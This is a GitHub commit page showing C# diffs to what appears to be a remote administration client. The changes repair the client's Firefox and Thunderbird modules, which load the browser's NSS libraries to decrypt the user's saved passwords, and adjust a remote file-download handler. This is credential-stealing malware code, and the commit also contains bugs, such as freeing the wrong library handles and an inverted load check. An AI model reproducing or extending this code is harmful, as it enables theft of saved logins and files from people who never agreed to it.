Skip to content

Commit

Permalink
Fix bug in firefox/thunderbird pw recovery
Browse files Browse the repository at this point in the history
  • Loading branch information
maddnias committed Mar 27, 2017
1 parent e32a1e3 commit 8037417
Show file tree
Hide file tree
Showing 3 changed files with 140 additions and 36 deletions.
6 changes: 4 additions & 2 deletions Client/Core/Commands/FileHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -130,7 +130,7 @@ public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile com
return;
}

new Thread(() =>
var thr = new Thread(() =>
{
_limitThreads.WaitOne();
try
Expand Down Expand Up @@ -170,7 +170,9 @@ public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile com
.Execute(client);
}
_limitThreads.Release();
}).Start();
});
thr.Start();
thr.Join();
}

public static void HandleDoDownloadFileCancel(Packets.ServerPackets.DoDownloadFileCancel command, Client client)
Expand Down
84 changes: 67 additions & 17 deletions Client/Core/Recovery/Browsers/Firefox.cs
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,8 @@ public static class Firefox
private static IntPtr _dll3;
private static IntPtr _dll4;
private static IntPtr _dll5;
private static IntPtr _dll6;
private static IntPtr _dll7;
private static long _keySlot;

private static DirectoryInfo firefoxPath;
Expand Down Expand Up @@ -94,26 +96,42 @@ public static List<RecoveredAccount> GetSavedPasswords()
{
}

PK11_FreeSlot(_keySlot);
NSS_Shutdown();

if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);

if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);
Cleanup();

return firefoxPasswords;
}

private static void Cleanup()
{
try
{
if (_keySlot != 0)
PK11_FreeSlot(_keySlot);
if (_nssModule != IntPtr.Zero)
NSS_Shutdown();

if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_dll6 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_dll7 != IntPtr.Zero)
FreeLibrary(_dll5);

if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);
}
catch
{
}
}
/// <summary>
/// Recover Firefox Cookies from the SQLite3 Database
/// </summary>
Expand Down Expand Up @@ -183,7 +201,29 @@ private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, Direct
_dll2 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
_dll3 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
_dll4 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
_dll5 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
_dll6 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr140.dll");
_dll7 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp140.dll");
if (!IsNullPointer(_dll1)
|| !IsNullPointer(_dll2)
|| !IsNullPointer(_dll3)
|| !IsNullPointer(_dll4)
|| !IsNullPointer(_dll6)
|| !IsNullPointer(_dll7))
{
_dll5 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
}
else
{
Cleanup();
return;
}

if (IsNullPointer(_dll5))
{
Cleanup();
return;
}

_nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr) Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
Expand All @@ -192,6 +232,16 @@ private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, Direct
PK11_Authenticate(_keySlot, true, 0);
}

private static bool IsNullPointer(params IntPtr[] ptrs)
{
var flag = false;
foreach (var ptr in ptrs)
if (ptr == IntPtr.Zero)
return true;

return false;
}

private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
Expand Down
86 changes: 69 additions & 17 deletions Client/Core/Recovery/Other/Thunderbird.cs
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,8 @@ public static class Thunderbird
private static IntPtr _dll3;
private static IntPtr _dll4;
private static IntPtr _dll5;
private static IntPtr _dll6;
private static IntPtr _dll7;
private static long _keySlot;

private static DirectoryInfo thunderbirdPath;
Expand Down Expand Up @@ -94,27 +96,44 @@ public static List<RecoveredAccount> GetSavedPasswords()
{
}

PK11_FreeSlot(_keySlot);
NSS_Shutdown();
Cleanup();

if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);
return thunderbirdPasswords;
}

if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);

return thunderbirdPasswords;
private static void Cleanup()
{
try
{
if (_keySlot != 0)
PK11_FreeSlot(_keySlot);
if (_nssModule != IntPtr.Zero)
NSS_Shutdown();

if (_dll1 != IntPtr.Zero)
FreeLibrary(_dll1);
if (_dll2 != IntPtr.Zero)
FreeLibrary(_dll2);
if (_dll3 != IntPtr.Zero)
FreeLibrary(_dll3);
if (_dll4 != IntPtr.Zero)
FreeLibrary(_dll4);
if (_dll5 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_dll6 != IntPtr.Zero)
FreeLibrary(_dll5);
if (_dll7 != IntPtr.Zero)
FreeLibrary(_dll5);

if (_nssModule != IntPtr.Zero)
FreeLibrary(_nssModule);
}
catch
{
}
}


#endregion

#region Functions
Expand All @@ -132,7 +151,30 @@ private static void InitializeDelegates(DirectoryInfo thunderbirdProfilePath, Di
_dll2 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp100.dll");
_dll3 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr120.dll");
_dll4 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp120.dll");
_dll5 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
_dll6 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr140.dll");
_dll7 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp140.dll");

if (!IsNullPointer(_dll1)
|| !IsNullPointer(_dll2)
|| !IsNullPointer(_dll3)
|| !IsNullPointer(_dll4)
|| !IsNullPointer(_dll6)
|| !IsNullPointer(_dll7))
{
_dll5 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
}
else
{
Cleanup();
return;
}

if (IsNullPointer(_dll5))
{
Cleanup();
return;
}

_nssModule = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\nss3.dll");

IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
Expand All @@ -142,6 +184,16 @@ private static void InitializeDelegates(DirectoryInfo thunderbirdProfilePath, Di
PK11_Authenticate(_keySlot, true, 0);
}

private static bool IsNullPointer(params IntPtr[] ptrs)
{
var flag = false;
foreach (var ptr in ptrs)
if (ptr == IntPtr.Zero)
return true;

return false;
}

private static DateTime FromUnixTime(long unixTime)
{
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
Expand Down

0 comments on commit 8037417

Please sign in to comment.